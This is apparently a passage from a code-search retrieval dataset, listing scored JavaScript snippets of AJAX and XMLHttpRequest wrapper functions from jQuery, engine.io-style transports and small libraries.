there may be multiple values with the same header name\n var responseHeaders = getAndDelete(\"headers\");\n var headers = {};\n for (var field in responseHeaders) {\n var value = responseHeaders[field];\n var key = field.toLowerCase();\n // Is array\n if ((typeof value === \"undefined\" ? \"undefined\" : _typeof(value)) === \"object\") {\n headers[key] = value;\n } else {\n headers[key] = headers[key] || [];\n headers[key].push(value);\n }\n }\n var cookies = headers[\"set-cookie\"];\n if (isBrowser && cookies) {\n cookies.forEach(function (e) {\n // Remove the http-Only property of the cookie\n // so that JavaScript can operate it.\n document.cookie = e.replace(/;\\s*httpOnly/ig, \"\");\n });\n }\n self.responseHeaders = headers;\n // Set the fields of engine from response\n self.statusText = statusMessage || \"\";\n self.response = self.responseText = responseText;\n self._response = response;\n self._changeReadyState(4);\n self._call(\"onload\");\n }\n self._call(\"onloadend\");\n });\n } else {\n console.error(\"Ajax require adapter\");\n }\n }\n }, {\n key: \"setRequestHeader\",\n value: function setRequestHeader(key, value) {\n this.requestHeaders[util.trim(key)] = value;\n }\n }, {\n key: \"getResponseHeader\",\n value: function getResponseHeader(key) {\n return (this.responseHeaders[key.toLowerCase()] || \"\").toString() || null;\n }\n }, {\n key: \"getAllResponseHeaders\",\n value: function getAllResponseHeaders() {\n var str = \"\";\n for (var key in this.responseHeaders) {\n str += key + \":\" + this.getResponseHeader(key) + \"\\r\\n\";\n }\n return str || null;\n }\n }, {\n key: \"abort\",\n value: function abort(msg) {\n this._changeReadyState(0);\n this._call(\"onerror\", { msg: msg });\n this._call(\"onloadend\");\n }\n }], [{\n key: \"setAdapter\",\n value: function setAdapter(requestAdapter) {\n adapter = requestAdapter;\n }\n }]);\n\n return AjaxEngine;\n }();\n\n return AjaxEngine;\n}", "title": "" }, { "docid": "c7602936d110d1356c9d0daf20aac2e0", "score": "0.5436532", "text": "function EngineWrapper(adapter) {\n var AjaxEngine = function () {\n function AjaxEngine() {\n _classCallCheck(this, AjaxEngine);\n\n this.requestHeaders = {};\n this.readyState = 0;\n this.timeout = 0; // 0 stands for no timeout\n this.responseURL = \"\";\n this.responseHeaders = {};\n }\n\n _createClass(AjaxEngine, [{\n key: \"_call\",\n value: function _call(name) {\n this[name] && this[name].apply(this, [].splice.call(arguments, 1));\n }\n }, {\n key: \"_changeReadyState\",\n value: function _changeReadyState(state) {\n this.readyState = state;\n this._call(\"onreadystatechange\");\n }\n }, {\n key: \"open\",\n value: function open(method, url) {\n this.method = method;\n if (!url) {\n url = location.href;\n } else {\n url = util.trim(url);\n if (url.indexOf(\"http\") !== 0) {\n // Normalize the request url\n if (isBrowser) {\n var t = document.createElement(\"a\");\n t.href = url;\n url = t.href;\n }\n }\n }\n this.responseURL = url;\n this._changeReadyState(1);\n }\n }, {\n key: \"send\",\n value: function send(arg) {\n var _this = this;\n\n arg = arg || null;\n var self = this;\n if (adapter) {\n var request = {\n method: self.method,\n url: self.responseURL,\n headers: self.requestHeaders || {},\n body: arg\n };\n util.merge(request, self._options || {});\n if (request.method === \"GET\") {\n request.body = null;\n }\n self._changeReadyState(3);\n var timer;\n self.timeout = self.timeout || 0;\n if (self.timeout > 0) {\n timer = setTimeout(function () {\n if (self.readyState === 3) {\n _this._call(\"onloadend\");\n self._changeReadyState(0);\n self._call(\"ontimeout\");\n }\n }, self.timeout);\n }\n request.timeout = self.timeout;\n adapter(request, function (response) {\n\n function getAndDelete(key) {\n var t = response[key];\n delete response[key];\n return t;\n }\n\n // If the request has already timeout, return\n if (self.readyState !== 3) return;\n clearTimeout(timer);\n\n // Make sure the type of status is integer\n self.status = getAndDelete(\"statusCode\") - 0;\n\n var responseText = getAndDelete(\"responseText\");\n var statusMessage = getAndDelete(\"statusMessage\");\n\n // Network error, set the status code 0\n if (!self.status) {\n self.statusText = responseText;\n self._call(\"onerror\", { msg: statusMessage });\n } else {\n // Parsing the response headers to array in a object, because\n // there may be multiple values with the same header name\n var responseHeaders = getAndDelete(\"headers\");\n var headers = {};\n for (var field in responseHeaders) {\n var value = responseHeaders[field];\n var key = field.toLowerCase();\n // Is array\n if ((typeof value === \"undefined\" ? \"undefined\" : _typeof(value)) === \"object\") {\n headers[key] = value;\n } else {\n headers[key] = headers[key] || [];\n headers[key].push(value);\n }\n }\n var cookies = headers[\"set-cookie\"];\n if (isBrowser && cookies) {\n cookies.forEach(function (e) {\n // Remove the http-Only property of the cookie\n // so that JavaScript can operate it.\n document.cookie = e.replace(/;\\s*httpOnly/ig, \"\");\n });\n }\n self.responseHeaders = headers;\n // Set the fields of engine from response\n self.statusText = statusMessage || \"\";\n self.response = self.responseText = responseText;\n self._response = response;\n self._changeReadyState(4);\n self._call(\"onload\");\n }\n self._call(\"onloadend\");\n });\n } else {\n console.error(\"Ajax require adapter\");\n }\n }\n }, {\n key: \"setRequestHeader\",\n value: function setRequestHeader(key, value) {\n this.requestHeaders[util.trim(key)] = value;\n }\n }, {\n key: \"getResponseHeader\",\n value: function getResponseHeader(key) {\n return (this.responseHeaders[key.toLowerCase()] || \"\").toString() || null;\n }\n }, {\n key: \"getAllResponseHeaders\",\n value: function getAllResponseHeaders() {\n var str = \"\";\n for (var key in this.responseHeaders) {\n str += key + \":\" + this.getResponseHeader(key) + \"\\r\\n\";\n }\n return str || null;\n }\n }, {\n key: \"abort\",\n value: function abort(msg) {\n this._changeReadyState(0);\n this._call(\"onerror\", { msg: msg });\n this._call(\"onloadend\");\n }\n }], [{\n key: \"setAdapter\",\n value: function setAdapter(requestAdapter) {\n adapter = requestAdapter;\n }\n }]);\n\n return AjaxEngine;\n }();\n\n return AjaxEngine;\n}", "title": "" }, { "docid": "e4e7ee08c359164f9da1209633f0da38", "score": "0.542846", "text": "function mkAjaxObject() {\n var xmlHttp = null;\n if (window.ActiveXObject) {\n xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");\n }\n if (window.XMLHttpRequest) {\n xmlHttp = new XMLHttpRequest();\n }\n\n return xmlHttp;\n}", "title": "" }, { "docid": "e7c13bb3e94e9cc37df2eca7acced6c2", "score": "0.5401449", "text": "function init() \r\n {\r\n if (window.ActiveXObject) \r\n {\r\n isIE = true;\r\n return new ActiveXObject(\"Microsoft.XMLHTTP\");\r\n }\r\n else if (window.XMLHttpRequest) \r\n {\r\n return new XMLHttpRequest();\r\n } \r\n }", "title": "" }, { "docid": "4c7616b555ea221296b9a1543f7dff08", "score": "0.53891975", "text": "constructor()\n {\n super();\n this.headers = new jfHttpHeaders();\n }", "title": "" }, { "docid": "efcbec38c5d7c2524c97122edfe71b9d", "score": "0.53684586", "text": "function AjaxService() {\n /**\n * Performs GET ajax request.\n *\n * @param {string} url\n * @param {function} [onSuccess]\n * @param {function} [onError]\n */\n this.get = function (url, onSuccess, onError) {\n this.call('GET', url, {}, onSuccess, onError);\n };\n\n /**\n * Performs POST ajax request.\n *\n * @note You can not post data that has fields with special values such as infinity, undefined etc.\n *\n * @param {string} url\n * @param {object} data\n * @param {function} [onSuccess]\n * @param {function} [onError]\n */\n this.post = function (url, data, onSuccess, onError) {\n this.call('POST', url, data, onSuccess, onError);\n };\n\n /**\n * Performs ajax call.\n *\n * @param {string} method 'GET' or 'POST'.\n * @param {string} url\n * @param {object} data\n * @param {function} [onSuccess]\n * @param {function} [onError]\n */\n this.call = function (method, url, data, onSuccess, onError) {\n const request = getRequest();\n const callUUID = Packlink.StateUUIDService.getStateUUID();\n\n if (!onError) {\n onError = Packlink.responseService.errorHandler;\n }\n\n url = url.replace('https:', '');\n url = url.replace('http:', '');\n\n request.open(method, url, true);\n\n request.onreadystatechange = function () {\n // \"this\" is XMLHttpRequest\n if (this.readyState === 4) {\n if (callUUID !== Packlink.StateUUIDService.getStateUUID()) {\n // Obsolete response. The app has changed the original state that issued the call.\n\n return;\n }\n\n if (this.status >= 200 && this.status < 300) {\n if (onSuccess) {\n onSuccess(JSON.parse(this.responseText || '{}'));\n }\n } else if (onError) {\n let response = this.responseText;\n try {\n response = JSON.parse(this.responseText || '{}');\n } catch (e) {\n }\n\n onError(response);\n\n }\n }\n };\n\n request.setRequestHeader('Accept', 'application/json');\n\n if (method === 'POST') {\n this.internalPerformPost(request, data);\n } else {\n request.send();\n }\n };\n\n /**\n * Extension point for executing the POST request with the given data.\n *\n * @param {XMLHttpRequest | ActiveXObject} request\n * @param {object} data\n */\n this.internalPerformPost = function (request, data) {\n request.setRequestHeader('Content-Type', 'application/json');\n request.send(JSON.stringify(data));\n };\n\n /**\n * Creates instance of request.\n *\n * @return {XMLHttpRequest | ActiveXObject}\n */\n function getRequest() {\n let versions = [\n 'MSXML2.XmlHttp.6.0',\n 'MSXML2.XmlHttp.5.0',\n 'MSXML2.XmlHttp.4.0',\n 'MSXML2.XmlHttp.3.0',\n 'MSXML2.XmlHttp.2.0',\n 'Microsoft.XmlHttp'\n ],\n xhr;\n\n if (typeof XMLHttpRequest !== 'undefined') {\n return new XMLHttpRequest();\n }\n\n for (let version of versions) {\n try {\n xhr = new ActiveXObject(version);\n break;\n } catch (e) {\n }\n }\n\n return xhr;\n }\n }", "title": "" }, { "docid": "5ad73cbe94cd030695357996c20594fb", "score": "0.5363319", "text": "function ajaxExtend( target, src ) {\n var key, deep,\n flatOptions = jQuery.ajaxSettings.flatOptions || {};\n \n for ( key in src ) {\n if ( src[ key ] !== undefined ) {\n ( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];\n }\n }\n if ( deep ) {\n jQuery.extend( true, target, deep );\n }\n \n return target;\n }", "title": "" }, { "docid": "2d0ef0bf7b0a13639cff3490b8564b03", "score": "0.5353768", "text": "createRequest(settings) {\n // PERFORMANCE HACK:\n // Reduce OPTIONS preflight requests by removing the Accept-Datetime header\n // on requests for resources that are presumed to have been time-negotiated\n if (this.negotiatedResources[this.removeQuery(settings.url)]) {\n delete settings.headers['accept-datetime'];\n }\n // Create the actual XMLHttpRequest\n const request = new XMLHttpRequest();\n const reqHeaders = settings.headers;\n request.open(settings.method, settings.url, true);\n request.timeout = settings.timeout;\n for (const header in reqHeaders) {\n if (!(header in UNSAFE_REQUEST_HEADERS) && reqHeaders[header]) {\n request.setRequestHeader(header, reqHeaders[header]);\n }\n }\n // Create a proxy for the XMLHttpRequest\n const requestProxy = new events_1.EventEmitter();\n requestProxy.abort = () => { request.abort(); };\n // Handle the arrival of a response\n request.onload = () => {\n // Convert the response into an iterator\n const response = new stream_1.Readable();\n response.push(request.responseText || '');\n response.push(null);\n response.statusCode = request.status;\n response.responseUrl = request.responseURL;\n // Parse the response headers\n response.headers = {};\n const resHeaders = response.headers;\n const rawHeaders = request.getAllResponseHeaders() || '';\n const headerMatcher = /^([^:\\n\\r]+):[ \\t]*([^\\r\\n]*)$/mg;\n let match = headerMatcher.exec(rawHeaders);\n while (match) {\n resHeaders[match[1].toLowerCase()] = match[2];\n match = headerMatcher.exec(rawHeaders);\n }\n // Emit the response\n requestProxy.emit('response', response);\n // If the resource was time-negotiated, store its queryless URI\n // to enable the PERFORMANCE HACK explained above\n if (reqHeaders['accept-datetime'] && resHeaders['memento-datetime']) {\n const resource = this.removeQuery(resHeaders['content-location'] || settings.url);\n if (!this.negotiatedResources[resource]) {\n // Ensure the resource is not a timegate\n const links = resHeaders.link && parseLink(resHeaders.link);\n const timegate = this.removeQuery(links && links.timegate && links.timegate.url);\n if (resource !== timegate) {\n this.negotiatedResources[resource] = true;\n }\n }\n }\n };\n // Report errors and timeouts\n request.onerror = () => {\n requestProxy.emit('error', new Error('Error requesting ' + settings.url));\n };\n request.ontimeout = () => {\n requestProxy.emit('error', new Error('Timeout requesting ' + settings.url));\n };\n // Execute the request\n request.send();\n return requestProxy;\n }", "title": "" }, { "docid": "14680a3b8c0a6a5400d683e884e2dc7f", "score": "0.535082", "text": "create() {\n\t const opts = pick$1(\n\t this.opts,\n\t \"agent\",\n\t \"enablesXDR\",\n\t \"pfx\",\n\t \"key\",\n\t \"passphrase\",\n\t \"cert\",\n\t \"ca\",\n\t \"ciphers\",\n\t \"rejectUnauthorized\"\n\t );\n\t opts.xdomain = !!this.opts.xd;\n\t opts.xscheme = !!this.opts.xs;\n\n\t const xhr = (this.xhr = new xmlhttprequest(opts));\n\t const self = this;\n\n\t try {\n\t debug$1(\"xhr open %s: %s\", this.method, this.uri);\n\t xhr.open(this.method, this.uri, this.async);\n\t try {\n\t if (this.opts.extraHeaders) {\n\t xhr.setDisableHeaderCheck && xhr.setDisableHeaderCheck(true);\n\t for (let i in this.opts.extraHeaders) {\n\t if (this.opts.extraHeaders.hasOwnProperty(i)) {\n\t xhr.setRequestHeader(i, this.opts.extraHeaders[i]);\n\t }\n\t }\n\t }\n\t } catch (e) {}\n\n\t if (\"POST\" === this.method) {\n\t try {\n\t xhr.setRequestHeader(\"Content-type\", \"text/plain;charset=UTF-8\");\n\t } catch (e) {}\n\t }\n\n\t try {\n\t xhr.setRequestHeader(\"Accept\", \"*/*\");\n\t } catch (e) {}\n\n\t // ie6 check\n\t if (\"withCredentials\" in xhr) {\n\t xhr.withCredentials = this.opts.withCredentials;\n\t }\n\n\t if (this.opts.requestTimeout) {\n\t xhr.timeout = this.opts.requestTimeout;\n\t }\n\n\t if (this.hasXDR()) {\n\t xhr.onload = function() {\n\t self.onLoad();\n\t };\n\t xhr.onerror = function() {\n\t self.onError(xhr.responseText);\n\t };\n\t } else {\n\t xhr.onreadystatechange = function() {\n\t if (4 !== xhr.readyState) return;\n\t if (200 === xhr.status || 1223 === xhr.status) {\n\t self.onLoad();\n\t } else {\n\t // make sure the `error` event handler that's user-set\n\t // does not throw in the same tick and gets caught here\n\t setTimeout(function() {\n\t self.onError(typeof xhr.status === \"number\" ? xhr.status : 0);\n\t }, 0);\n\t }\n\t };\n\t }\n\n\t debug$1(\"xhr data %s\", this.data);\n\t xhr.send(this.data);\n\t } catch (e) {\n\t // Need to defer since .create() is called directly from the constructor\n\t // and thus the 'error' event can only be only bound *after* this exception\n\t // occurs. Therefore, also, we cannot throw here at all.\n\t setTimeout(function() {\n\t self.onError(e);\n\t }, 0);\n\t return;\n\t }\n\n\t if (typeof document !== \"undefined\") {\n\t this.index = Request.requestsCount++;\n\t Request.requests[this.index] = this;\n\t }\n\t }", "title": "" }, { "docid": "94b38d4ceaae86d4d9a3dcb4b4932b97", "score": "0.53455955", "text": "function ajaxExtend( target, src ) {\n var key, deep,\n flatOptions = jQuery.ajaxSettings.flatOptions || {};\n \n for ( key in src ) {\n if ( src[ key ] !== undefined ) {\n ( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];\n }\n }\n if ( deep ) {\n jQuery.extend( true, target, deep );\n }\n \n return target;\n }", "title": "" }, { "docid": "b20c981519a5bf15c12db22b7eef54fb", "score": "0.5341951", "text": "init() {\n this._sistemaProxy.aparecerFiltro();\n }", "title": "" }, { "docid": "07d1e6987ab83f5bebe95cbd2e1e4c50", "score": "0.53280133", "text": "function XHR (options) {\n Object.defineProperty(this, 'fnQ', { value:{ then:[], fail:[], done:[] } });\n this.xhr = new XMLHttpRequest();\n this.reqOptions = options;\n this.isPending = true;\n this.isSuccess = false;\n this.isFailed = false;\n this.response = '';\n this.prevFnRes;\n }", "title": "" }, { "docid": "e064e06a1c362cb0d83bfca0822d8baf", "score": "0.53253883", "text": "function CAjax(dataType)\r\n{\r\n\tthis.m_xmlLocal = null;\r\n\tthis.m_response = null;\r\n\t//this.m_firstNode = null;\r\n\tthis.m_method = AJAX_POST;\r\n\tthis.dataType = (dataType) ? dataType : \"xml\";\r\n\tthis.cbData = new Object();\r\n\tthis.debug = false;\r\n\t\r\n\t/*\r\n\tif (window.XMLHttpRequest) \r\n\t{\r\n\t\tthis.m_xmlLocal = new XMLHttpRequest();\r\n\t}\r\n\telse\r\n\t{\r\n\t\tvar msxmlhttp = new Array('Msxml2.XMLHTTP.5.0',\r\n\t\t\t\t\t\t\t\t 'Msxml2.XMLHTTP.4.0',\r\n\t\t\t\t\t\t\t\t 'Msxml2.XMLHTTP.3.0',\r\n\t\t\t\t\t\t\t\t 'Msxml2.XMLHTTP',\r\n\t\t\t\t\t\t\t\t 'Microsoft.XMLHTTP');\r\n\r\n\t\tfor (var i = 0; i < msxmlhttp.length; i++) \r\n\t\t{\r\n\t\t\ttry \r\n\t\t\t{\r\n\t\t\t\tthis.m_xmlLocal = new ActiveXObject(msxmlhttp[i]);\r\n\t\t\t} \r\n\t\t\tcatch (e) \r\n\t\t\t{\r\n\t\t\t\tthis.m_xmlLocal = null;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t*/\r\n\r\n\t/**\r\n\t * Alias to Xhr object\r\n\t *\r\n\t * @var {alib.net.Xhr}\r\n\t */\r\n\tthis.Xhr = new alib.net.Xhr();\r\n}", "title": "" }, { "docid": "dc9fa038ef1cb83d565c69cef3162a92", "score": "0.53172123", "text": "function ajaxExtend( target, src ) {___jdce_logger(\"/bower_components/jquery/jquery.js\", 371);\n\tvar deep, key,\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n\tfor ( key in src ) {\n\t\tif ( src[ key ] !== undefined ) {\n\t\t\t( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];\n\t\t}\n\t}\n\tif ( deep ) {\n\t\tjQuery.extend( true, target, deep );\n\t}\n\n\treturn target;\n}", "title": "" }, { "docid": "a5a36996ad3439d3ed9ab8eef88b5ee4", "score": "0.53145176", "text": "create() {\n const opts = pick(\n this.opts,\n \"agent\",\n \"enablesXDR\",\n \"pfx\",\n \"key\",\n \"passphrase\",\n \"cert\",\n \"ca\",\n \"ciphers\",\n \"rejectUnauthorized\"\n );\n opts.xdomain = !!this.opts.xd;\n opts.xscheme = !!this.opts.xs;\n\n const xhr = (this.xhr = new XMLHttpRequest(opts));\n const self = this;\n\n try {\n debug(\"xhr open %s: %s\", this.method, this.uri);\n xhr.open(this.method, this.uri, this.async);\n try {\n if (this.opts.extraHeaders) {\n xhr.setDisableHeaderCheck && xhr.setDisableHeaderCheck(true);\n for (let i in this.opts.extraHeaders) {\n if (this.opts.extraHeaders.hasOwnProperty(i)) {\n xhr.setRequestHeader(i, this.opts.extraHeaders[i]);\n }\n }\n }\n } catch (e) {}\n\n if (\"POST\" === this.method) {\n try {\n xhr.setRequestHeader(\"Content-type\", \"text/plain;charset=UTF-8\");\n } catch (e) {}\n }\n\n try {\n xhr.setRequestHeader(\"Accept\", \"*/*\");\n } catch (e) {}\n\n // ie6 check\n if (\"withCredentials\" in xhr) {\n xhr.withCredentials = this.opts.withCredentials;\n }\n\n if (this.opts.requestTimeout) {\n xhr.timeout = this.opts.requestTimeout;\n }\n\n if (this.hasXDR()) {\n xhr.onload = function() {\n self.onLoad();\n };\n xhr.onerror = function() {\n self.onError(xhr.responseText);\n };\n } else {\n xhr.onreadystatechange = function() {\n if (4 !== xhr.readyState) return;\n if (200 === xhr.status || 1223 === xhr.status) {\n self.onLoad();\n } else {\n // make sure the `error` event handler that's user-set\n // does not throw in the same tick and gets caught here\n setTimeout(function() {\n self.onError(typeof xhr.status === \"number\" ? xhr.status : 0);\n }, 0);\n }\n };\n }\n\n debug(\"xhr data %s\", this.data);\n xhr.send(this.data);\n } catch (e) {\n // Need to defer since .create() is called directly from the constructor\n // and thus the 'error' event can only be only bound *after* this exception\n // occurs. Therefore, also, we cannot throw here at all.\n setTimeout(function() {\n self.onError(e);\n }, 0);\n return;\n }\n\n if (typeof document !== \"undefined\") {\n this.index = Request.requestsCount++;\n Request.requests[this.index] = this;\n }\n }", "title": "" }, { "docid": "a5a36996ad3439d3ed9ab8eef88b5ee4", "score": "0.53145176", "text": "create() {\n const opts = pick(\n this.opts,\n \"agent\",\n \"enablesXDR\",\n \"pfx\",\n \"key\",\n \"passphrase\",\n \"cert\",\n \"ca\",\n \"ciphers\",\n \"rejectUnauthorized\"\n );\n opts.xdomain = !!this.opts.xd;\n opts.xscheme = !!this.opts.xs;\n\n const xhr = (this.xhr = new XMLHttpRequest(opts));\n const self = this;\n\n try {\n debug(\"xhr open %s: %s\", this.method, this.uri);\n xhr.open(this.method, this.uri, this.async);\n try {\n if (this.opts.extraHeaders) {\n xhr.setDisableHeaderCheck && xhr.setDisableHeaderCheck(true);\n for (let i in this.opts.extraHeaders) {\n if (this.opts.extraHeaders.hasOwnProperty(i)) {\n xhr.setRequestHeader(i, this.opts.extraHeaders[i]);\n }\n }\n }\n } catch (e) {}\n\n if (\"POST\" === this.method) {\n try {\n xhr.setRequestHeader(\"Content-type\", \"text/plain;charset=UTF-8\");\n } catch (e) {}\n }\n\n try {\n xhr.setRequestHeader(\"Accept\", \"*/*\");\n } catch (e) {}\n\n // ie6 check\n if (\"withCredentials\" in xhr) {\n xhr.withCredentials = this.opts.withCredentials;\n }\n\n if (this.opts.requestTimeout) {\n xhr.timeout = this.opts.requestTimeout;\n }\n\n if (this.hasXDR()) {\n xhr.onload = function() {\n self.onLoad();\n };\n xhr.onerror = function() {\n self.onError(xhr.responseText);\n };\n } else {\n xhr.onreadystatechange = function() {\n if (4 !== xhr.readyState) return;\n if (200 === xhr.status || 1223 === xhr.status) {\n self.onLoad();\n } else {\n // make sure the `error` event handler that's user-set\n // does not throw in the same tick and gets caught here\n setTimeout(function() {\n self.onError(typeof xhr.status === \"number\" ? xhr.status : 0);\n }, 0);\n }\n };\n }\n\n debug(\"xhr data %s\", this.data);\n xhr.send(this.data);\n } catch (e) {\n // Need to defer since .create() is called directly from the constructor\n // and thus the 'error' event can only be only bound *after* this exception\n // occurs. Therefore, also, we cannot throw here at all.\n setTimeout(function() {\n self.onError(e);\n }, 0);\n return;\n }\n\n if (typeof document !== \"undefined\") {\n this.index = Request.requestsCount++;\n Request.requests[this.index] = this;\n }\n }", "title": "" }, { "docid": "7b970748e12552fc5df8b7796e69c959", "score": "0.5303525", "text": "ajaxOptions(...args) {\n const options = this._super(...args);\n const headers = this.get('session').authorize({});\n options.headers = {}\n for (var h in headers) {\n options.headers[h] = headers[h];\n }\n return options;\n }", "title": "" }, { "docid": "c934c93c96b162a462ddb01c22d6f403", "score": "0.530123", "text": "function jqueryHandler(s) {\n s = $.extend({}, douban.http.settings, s || {});\n $.extend(s, {\n async: false,\n headers: undefined,\n processData: s.type.match(/^P(OS|U)T$/) && s.data ? false : true,\n beforeSend: function(xhr) {\n for (var name in s.headers)\n xhr.setRequestHeader(name, s.headers[name]);\n }\n });\n return $.ajax(s);\n}", "title": "" }, { "docid": "583c8c0d3ce44c8f0d47ece953c33794", "score": "0.5286789", "text": "ajaxOptions(...args) {\n const options = this._super(...args);\n options.headers = options.headers ? options.headers : {};\n let headers = this.get('session').authorize({});\n for (var h in headers) {\n options.headers[h] = headers[h];\n }\n\n return options;\n }", "title": "" }, { "docid": "f96f9a3a425204579faa35a02c76ff5d", "score": "0.5284636", "text": "function createStandardXHR() {___jdce_logger(\"/bower_components/jquery/jquery.js\", 389);\n\ttry {\n\t\treturn new window.XMLHttpRequest();\n\t} catch( e ) {}\n}", "title": "" }, { "docid": "be75d612e4d7beaa3073adc37c7d199b", "score": "0.5283506", "text": "function ajax(p){\n\tif (!p){\n\t\tconsole.log(\"B.ajax(p). Available fileds for p: sourcePath, readyFunc(result), errorFunc(isNetworkProblem), timeout, dataToPost, mimetype*.\");\n\t\treturn;\n\t}\n\tvar sourcePath = p.sourcePath;\n\tvar readyFunc = p.readyFunc;\n\tvar errorFunc = p.errorFunc;\n\tvar timeout = p.timeout;\n\tvar dataToPost = p.dataToPost;\n\tvar mimetype = p.mimetype;//unsupported yet: only text\n\tvar addonHttpHeaders = p.addonHttpHeaders;\n/*\nxhttp.setRequestHeader(\"Content-Type\", \"application/json\");\nxhttp.setRequestHeader('Content-Type', 'text/plain')\n*/\n\n\tvar xhttp=new XMLHttpRequest();\n\txhttp.addEventListener(\n\t\t'load',\n\t\tfunction(e){\n\t\t\tif (readyFunc)\n\t\t\t\treadyFunc(xhttp.responseText);\n\t\t}\n\t);\n\txhttp.addEventListener(\n\t\t'error',\n\t\tfunction(e){\n\t\t\tif (errorFunc)\n\t\t\t\terrorFunc(true);//\n\t\t}\n\t);\n\txhttp.addEventListener(\n\t\t'abort',\n\t\tfunction(){\n\t\t\tif (errorFunc)\n\t\t\t\terrorFunc(false);\n\t\t}\n\t);\n\txhttp.addEventListener(\n\t\t'timeout',\n\t\tfunction(){\n\t\t\tif (errorFunc)\n\t\t\t\terrorFunc(true);\n\t\t}\n\t);\n\tif (dataToPost)\n\t\txhttp.open(\"POST\", sourcePath, true);\n\telse\n\t\txhttp.open(\"GET\", sourcePath, true);\n//\txhttp.setRequestHeader('Content-Type', 'text/plain');\n\tif (addonHttpHeaders){\n\t\tfor (var i in addonHttpHeaders){\n\t\t\txhttp.setRequestHeader(i, addonHttpHeaders[i]);\n\t\t}\n\t}\n\tif (timeout)\n\t\txhttp.timeout = timeout;\n\txhttp.send(dataToPost);\n}", "title": "" }, { "docid": "2d41d12b27934df79aa0dbe7739368b0", "score": "0.528132", "text": "function Ajax () {\n\n\t\tthis.__initialize();\n\n\t}", "title": "" }, { "docid": "d41431a2a831be3932da4cf38bacb8a7", "score": "0.5271451", "text": "static produceAjaxObject(url, method, data, headers, success, error) {\n var ajax = {};\n\n if (!Util.isNullOrEmpty(url)) {\n ajax['url'] = url;\n }\n if (!Util.isNullOrEmpty(method)) {\n ajax['method'] = method;\n }\n if (!Util.isNullOrEmpty(data)) {\n ajax['data'] = data;\n }\n if (!Util.isNullOrEmpty(headers)) {\n ajax['headers'] = headers;\n } \n if (!Util.isNullOrEmpty(success) && success instanceof Function) {\n ajax['success'] = success;\n }\n if (!Util.isNullOrEmpty(error) && error instanceof Function) {\n ajax['error'] = error;\n }\n\n return ajax;\n }", "title": "" }, { "docid": "941e5206e690d8898263418d9dcbcda9", "score": "0.52709466", "text": "function ajaxExtend( target, src ) {\n var deep, key,\n flatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n for ( key in src ) {\n if ( src[ key ] !== undefined ) {\n ( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];\n }\n }\n if ( deep ) {\n jQuery.extend( true, target, deep );\n }\n\n return target;\n}", "title": "" }, { "docid": "941e5206e690d8898263418d9dcbcda9", "score": "0.52709466", "text": "function ajaxExtend( target, src ) {\n var deep, key,\n flatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n for ( key in src ) {\n if ( src[ key ] !== undefined ) {\n ( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];\n }\n }\n if ( deep ) {\n jQuery.extend( true, target, deep );\n }\n\n return target;\n}", "title": "" }, { "docid": "035d9e03754958a7a505bc521434d96b", "score": "0.52517503", "text": "function MyXmlHttpFactory(request) {\n this.request = request;\n}", "title": "" }, { "docid": "48f4806d5d311ddc0723d193972f072b", "score": "0.52489495", "text": "function ajaxExtend( target, src ) {\r\n\tvar deep, key,\r\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\r\n\r\n\tfor ( key in src ) {\r\n\t\tif ( src[ key ] !== undefined ) {\r\n\t\t\t( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];\r\n\t\t}\r\n\t}\r\n\tif ( deep ) {\r\n\t\tjQuery.extend( true, target, deep );\r\n\t}\r\n\r\n\treturn target;\r\n}", "title": "" }, { "docid": "29eaf6574fb849ebbead47caaf55b8a5", "score": "0.52480817", "text": "function RequestBase(obj){if(obj)return mixin(obj)}", "title": "" }, { "docid": "0d48b5213f62417998399663759be3fb", "score": "0.52387583", "text": "function ajaxExtend( target, src ) {\r\n\tvar key, deep,\r\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\r\n\r\n\tfor ( key in src ) {\r\n\t\tif ( src[ key ] !== undefined ) {\r\n\t\t\t( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];\r\n\t\t}\r\n\t}\r\n\tif ( deep ) {\r\n\t\tjQuery.extend( true, target, deep );\r\n\t}\r\n\r\n\treturn target;\r\n}", "title": "" }, { "docid": "0d48b5213f62417998399663759be3fb", "score": "0.52387583", "text": "function ajaxExtend( target, src ) {\r\n\tvar key, deep,\r\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\r\n\r\n\tfor ( key in src ) {\r\n\t\tif ( src[ key ] !== undefined ) {\r\n\t\t\t( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];\r\n\t\t}\r\n\t}\r\n\tif ( deep ) {\r\n\t\tjQuery.extend( true, target, deep );\r\n\t}\r\n\r\n\treturn target;\r\n}", "title": "" }, { "docid": "6951eaef823787bf4e5bb6ba8f72f25d", "score": "0.52386326", "text": "function ajaxExtend( target, src ) {\r\n\tvar key, deep,\r\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\r\n\r\n\tfor ( key in src ) {\r\n\t\tif ( src[ key ] !== undefined ) {\r\n\t\t\t( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];\r\n\t\t}\r\n\t}\r\n\tif ( deep ) {\r\n\t\tjQuery.extend( true, target, deep );\r\n\t}\r\n\r\n\treturn target;\r\n}", "title": "" }, { "docid": "4adbb50e2535afd92e07bd3a287dbefc", "score": "0.52324563", "text": "_ajax(url, method, options = {}) {\n options.url = url;\n options.method = method;\n\n //console.log(method + \" \" + url);\n\n let headers = this._merge_headers(options.header);\n\n options.beforeSend = function (xhr) {\n Object.keys(headers).forEach((key) => xhr.setRequestHeader(key, headers[key]));\n };\n\n // Needed for cross-site support.\n options.xhrFields = {withCredentials: true};\n\n return $.ajax(options);\n }", "title": "" }, { "docid": "5e06c87c6c080837b2eaf808d6d1fc12", "score": "0.52291787", "text": "bind() {\n // TODO: This might use some 